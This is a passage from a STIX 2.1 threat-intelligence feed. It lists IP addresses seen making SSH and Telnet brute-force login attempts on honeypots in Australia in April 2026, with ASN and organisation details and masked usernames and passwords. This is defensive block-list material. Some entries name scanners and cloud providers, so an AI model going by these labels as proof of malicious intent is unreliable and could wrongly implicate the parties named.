      "valid_until": "2026-05-06T22:15:08.000Z"
    },
    {
      "created": "2026-04-04T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u****u, a***n, 3**********4, a*****e. Passwords observed (masked): 1******8, 0**0, 1*******r, 1****6, 2*****3.",
      "id": "indicator--7810935d-a235-46f2-8571-129d3de76244",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.200.228.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:15:10.000Z",
      "valid_until": "2026-05-06T22:15:08.000Z"
    },
    {
      "created": "2026-04-04T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--14bbd3d8-9c52-4af8-8027-58514a22ac70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.183.95.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:15:10.000Z",
      "valid_until": "2026-05-06T22:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 141153. Organisation(s): LCX International Technology Co., Limited. Usernames observed (masked): r**t, f*****r, 3**********4, b**3, d****y. Passwords observed (masked): ***, 3***********4, 3**********4, A******4, A*****5.",
      "id": "indicator--d1af4dad-4bb4-4996-a882-61e15016d2a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.192.38.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4, ***, s***y, w******c. Passwords observed (masked): 3***********4, 3**********4, A******6, Q*****$, Z***********$.",
      "id": "indicator--5aeec3bc-29ac-49f4-a459-07f451971486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.216.108.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 23923. Organisation(s): Agni Systems Limited.",
      "id": "indicator--21fb99fe-88b6-4e50-9e6d-99bbbda90d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.148.49.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KH. ASN(s): 24492. Organisation(s): WiCAM Corporation Ltd.. Usernames observed (masked): r**t, 3**********4, p***h, b**t, ***. Passwords observed (masked): 3***********4, 3**********4, 1*******9, 2****5, B*****0.",
      "id": "indicator--49414ff3-54aa-4576-90a0-6af96f2bf0b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.15.80.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, u****u, 3**********4, ***, d****y. Passwords observed (masked): 3***********4, 3**********4, Q*****$, Z***********$, a******..",
      "id": "indicator--cced4e81-adbf-43b8-80b6-d4eb3403a867",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.176.122.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--844a9b32-f05a-4bde-808d-73080b2f124b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.18.20.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--7f5729f2-cc16-40ab-a584-ef0a7a3122a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.60.165.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--732450d1-e4d5-424e-982f-d7d99539cb12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.76.145.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--e995431b-b95a-4b5e-9855-0b56fdd29057",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.176.31.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--81992fa7-991b-455f-b168-683d8b2b96b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--ba74a622-bd2a-4829-9634-8ef29b88a277",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): r**t, 3**********4, ***, d**a, f*****t. Passwords observed (masked): 3***********4, 3**********4, A******6, D********3, D***6.",
      "id": "indicator--31e5e9dd-d96a-433c-9363-f76fd3fd8267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.3.96.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 34224. Organisation(s): Neterra Ltd.. Usernames observed (masked): r**t, 3**********4, ***, o**o, o****r. Passwords observed (masked): 1****2, 3***********4, 3**********4, Q*****1, Q**********#.",
      "id": "indicator--557c80d5-dbdc-4e31-8665-c9ab5d24c30c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.156.221.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--e1cb2043-7c4c-41b1-a92d-3b22aa5def12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.8.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:15:10.000Z",
      "valid_until": "2026-05-06T23:15:08.000Z"
    },
    {
      "created": "2026-04-05T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--bf71533d-2ec3-4965-a7d2-bf7e69bd6513",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T00:15:10.000Z",
      "valid_until": "2026-05-07T00:15:08.000Z"
    },
    {
      "created": "2026-04-05T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 27284. Organisation(s): Fourplex Telecom LLC.",
      "id": "indicator--68f9a4d9-bc55-4d87-b554-f9ad9641debd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.135.24.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T00:15:10.000Z",
      "valid_until": "2026-05-07T00:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--c11e903b-2a4c-4332-93f1-740b2e9c4f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.222.72.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 263238. Organisation(s): Eliana Vanessa Morocho Ona. Usernames observed (masked): r**t, s******r. Passwords observed (masked): 1****6, a***e, q***********#.",
      "id": "indicator--ce9c5a8b-c22a-4cac-96b8-1241dce92634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.53.215.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): o**o, 3**********4, f*****r, ***, r**t. Passwords observed (masked): !**********C, 0****0, 3***********4, 3**********4, Z******4.",
      "id": "indicator--71590b08-96b4-41d8-bb66-50fa6e513b6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.96.151.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--8d41c8d7-f5ef-4644-8825-b8fbb093323b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 10220. Organisation(s): PT. Kreasi Sejahtera Teknologi. Usernames observed (masked): r**t. Passwords observed (masked): m****d.",
      "id": "indicator--15ae84d0-47a3-48c3-a350-41bc8c75067f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.51.214.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--80acdb14-44c9-4b3b-8483-f9a91d7c6a80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '32.192.238.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--9f24a41c-a86f-4421-9188-fec5419f3950",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.123.94.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--cb113ad2-cac5-47a6-8267-3183a420e07d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): r**t. Passwords observed (masked): A*****3.",
      "id": "indicator--1be0a154-1d86-49fb-a1c6-bc8d30126533",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.231.192.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:15:10.000Z",
      "valid_until": "2026-05-07T01:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--3c00e932-3674-4ded-9d65-bbb04441e085",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.96.114.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 93. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): s***y, s****r, u**r. Passwords observed (masked): 3***********4, S******9, U*******!, s*****3.",
      "id": "indicator--37f3669e-a800-4b29-8df3-d0faf326cd37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.124.100.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--46c9a5da-5e3a-484e-a45e-dc4e4974a170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.15.163.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): v**s, o******n, t**t. Passwords observed (masked): 1******8, a*******3, o******n, t******3, v**s.",
      "id": "indicator--aeef29a0-6b0e-45d7-98ce-25c56ef6a9ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.76.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a61242a8-5dd9-42ee-b15b-896514b1132f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.178.8.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--468490fe-c298-46e1-88c3-4091b87793a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a0006219-8778-46b0-a883-ec57811e9848",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:15:10.000Z",
      "valid_until": "2026-05-07T02:15:08.000Z"
    },
    {
      "created": "2026-04-05T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3af0758f-eccc-40b0-b4d2-048430c3b060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
